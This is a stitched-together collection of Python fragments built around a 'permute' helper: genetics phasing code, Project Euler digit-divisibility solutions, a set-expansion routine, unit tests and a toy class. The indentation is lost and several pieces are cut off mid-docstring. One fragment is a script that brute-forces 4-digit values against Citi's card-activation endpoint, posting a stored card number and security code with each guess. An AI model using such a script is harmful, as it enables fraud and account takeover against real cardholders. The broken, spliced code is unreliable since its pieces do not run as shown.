def generate_hap_seq_sets(self, pheno_seq, hap_seq_sets):
phased_sets = []
for genotype in pheno_seq:
phases = []
new_genotype = phenotype.convert_genotype(genotype)
permute(new_genotype, 0, phases)
phased_sets.append(copy(phases))
self.generate(phased_sets, hap_seq_sets)
def generate_hap_seq_sets(self, pheno_seq, hap_seq_sets):
phased_sets = []
for genotype in pheno_seq:
phases = []
new_genotype = phenotype.convert_genotype(genotype)
permute(new_genotype, 0, phases)
phased_sets.append(copy(phases))
self.generate(phased_sets, hap_seq_sets)
def possible_strings(str1):
#split and sort list
chars_list = sorted(list(str1))
sub_strings = []
permutations = permute(chars_list)
for each in permutations:
sub_strings.append(''.join(each))
return sub_strings
def Solution():
permute_base = '0123456789'
answer = 0
for d4 in ['2', '4', '6', '8', '0']:
d6 = '5'
this_perm = permute_base.replace(d4, '').replace(d6, '')
for p in permute.permute(this_perm):
num_str = p[:3] + d4 + p[3] + d6 + p[4:]
if IsSubDiv(num_str):
answer += int(num_str)
print answer
def query(inp1, domain):
total = len(inp1)
initial = [-1] * domain
i, j = 0, 0
final = [-1] * domain
for index in range(total):
if initial[len(inp1[index]) - 1] == -1:
initial[len(inp1[index]) - 1] = index
final[len(inp1[index]) - 1] = index
else:
final[len(inp1[index]) - 1] = index
for index in range(total - 1):
inp1 = sorted(inp1, key=lambda x: len(x))
## print("INITIAL")
## print(initial)
## print("FINAL")
## print(final)
## print("Input:")
## print(inp1)
## print("Input[index]:")
## print(inp1[index])
if initial[len(inp1[index])] == -1:
#count number of (-1's) and then set value of index and index2 accordingly
#then permute the values of the input domain and call recursively "query()"
check1 = len(inp1[index])
check2 = check1
while check2 < domain and initial[check2] == -1:
check2 += 1
index2 = initial[check2]
## print(str(check2)+ " - " + str(check1) + " > 1")
## print(inp1)
## print("Input[index]:")
## print(inp1[index])
## print("Input[index2]:")
## print(inp1[index2])
index2 = initial[len(inp1[index])]
while index2 <= final[len(inp1[index])]:
comparison = [0] * 256
for check in range(len(inp1[index])):
if comparison[ord(inp1[index][check])] == 0:
comparison[ord(inp1[index][check])] = 1
elif comparison[ord(inp1[index][check])] == 1:
comparison[ord(inp1[index][check])] = 0
for check in range(len(inp1[index2])):
#print(inp1[index2])
if comparison[ord(inp1[index2][check])] == 0:
comparison[ord(inp1[index2][check])] = 1
elif comparison[ord(inp1[index2][check])] == 1:
comparison[ord(inp1[index2][check])] = 0
diff = 0
for ini in range(256):
diff = diff + comparison[ini]
## print(comparison)
## print(diff)
if (diff > 1):
## print("Input[index]:")
## print(inp1[index])
## print("Input[index2]:")
## print(inp1[index2])
combi = permute.permute(inp1[index], inp1[index2],
comparison)
## print("Combi : ")
## print(combi)
count = len(inp1)
for x in combi:
if x not in inp1:
inp1.append(x)
inp1 = sorted(inp1, key=lambda x: len(x))
count2 = len(inp1)
if (count2 > count):
query(inp1, domain)
index2 = index2 + 1
## if check2 - check1 > 1:
## print("Index 1")
## print(inp1[index-1])
## print("Index 2")
## print(inp1[index2])
## combi = permute.permute(inp1[index-1],inp1[index2],comparison)
## count = len(inp1)
## for x in combi:
## if x not in inp1:
## inp1.append(x)
## inp1 = sorted(inp1, key=lambda x: len(x))
## count2 = len(inp1)
## print(inp1)
## #if(count2 > count):
#query(inp1,domain)
#permute.permute(inp1[index],inp1[index2],comparison)
#print("-1 encountered") #input data here itself else blunder!!!!
else:
index2 = initial[len(inp1[index])]
while index2 < final[len(inp1[index])]:
comparison = [0] * 256
## print("INDEX")
## print(index)
##
## print("INDEX2")
## print(index2)
if (index2 >= len(inp1)):
break
for check in range(len(inp1[index])):
if comparison[ord(inp1[index][check])] == 0:
comparison[ord(inp1[index][check])] = 1
elif comparison[ord(inp1[index][check])] == 1:
comparison[ord(inp1[index][check])] = 0
for check in range(len(inp1[index2])):
#print(inp1[index2])
if comparison[ord(inp1[index2][check])] == 0:
comparison[ord(inp1[index2][check])] = 1
elif comparison[ord(inp1[index2][check])] == 1:
comparison[ord(inp1[index2][check])] = 0
diff = 0
for ini in range(256):
diff = diff + comparison[ini]
#print(diff)
if (diff > 1):
combi = permute.permute(inp1[index], inp1[index2],
comparison)
count = len(inp1)
for x in combi:
if x not in inp1:
inp1.append(x)
inp1 = sorted(inp1, key=lambda x: len(x))
count2 = len(inp1)
if (count2 > count):
query(inp1, domain)
index2 = index2 + 1
## print("INITIAL")
## print(initial)
## print("FINAL")
## print(final)
## print("Input:")
## print(inp1)
return inp1
def test(self):
self.assertEqual(sorted(permute("dog")),
sorted(["dog", "dgo", "odg", "ogd", "gdo", "god"]))
self.assertEqual(sorted(permute("abc")),
sorted(["abc", "acb", "bac", "bca", "cab", "cba"]))
# Classes
class Rectangle():
length = 10
width = 10
def __init__(self, length, width):
self.length = length
self.width = width
def area(self):
return self.length * self.width
a = Rectangle(10, 20)
print a.area()
print getattr(a, 'length')
print delattr(a, 'length')
print a
# Permutations of numbers
numbers = [3, 5, 8, 10]
import itertools
print[a for a in itertools.permutations(numbers)]
from permute import permute
result = []
for x in permute(numbers):
result.append(x)
print result
import config
import time
from permute import permute
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
HOME_URL = 'https://www.cardactivation.citi.com'
CONTINUE_URL = 'https://www.cardactivation.citi.com/Home/Continue1'
POSSIBLE_PIN_DIGITS = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
PIN_DIGIT_COUNT = 4
WAIT_DELAY = 5
card_number = config.card_number
security_code = config.security_code
possible_pins = permute(POSSIBLE_PIN_DIGITS, PIN_DIGIT_COUNT)
def post_request_brute_force(possible_pins, card_number, security_code, url):
for pin in possible_pins:
request_payload = {
'cardNumber': card_number,
'securityCode': security_code,
'ssn': pin
}
continue_response = requests.post(CONTINUE_URL, json=request_payload)
continue_response_payload = continue_response.json()
status_code = continue_response_payload['Status']
msg = continue_response_payload['Msg']
contains the same lists, False otherwise.
Note that the ordering of the list is not important.
Examples:
check_output([ [0, 1], [1, 0] ] ], [ [1, 0], [0, 1] ]) returns True
Args:
output(list): list of list
expected_output(list): list of list
Returns:
bool
"""
o = copy.deepcopy(output) # so that we don't mutate input
e = copy.deepcopy(expected_output) # so that we don't mutate input
o.sort()
e.sort()
return o == e
print("Pass" if (check_output(p.permute([]), [[]])) else "Fail")
print("Pass" if (check_output(p.permute([0]), [[0]])) else "Fail")
print("Pass" if (
check_output(p.permute([0, 1]), [[0, 1], [1, 0]])) else "Fail")
print("Pass" if (
check_output(p.permute([0, 1, 2]), [[0, 1, 2], [0, 2, 1], [1, 0, 2],
[1, 2, 0], [2, 0, 1], [2, 1, 0]])
) else "Fail")
from permute import permute
if __name__ == '__main__':
perms = []
permute([0,1,2,3,4,5,6,7,8,9],perms)
nums = [0]*len(perms)
for i,perm in enumerate(perms):
nums[i] = ''.join(perm)
total = 0
for perm in nums:
if int(perm[7:]) % 17 == 0 and int(perm[6:9]) % 13 == 0 and int(perm[5:8]) % 11 == 0 and int(perm[4:7]) % 7 == 0 and int(perm[3:6]) % 5 == 0 and int(perm[2:5]) % 3 == 0 and int(perm[1:4]) % 2 == 0:
total += int(perm)
print("total is {}".format(total))
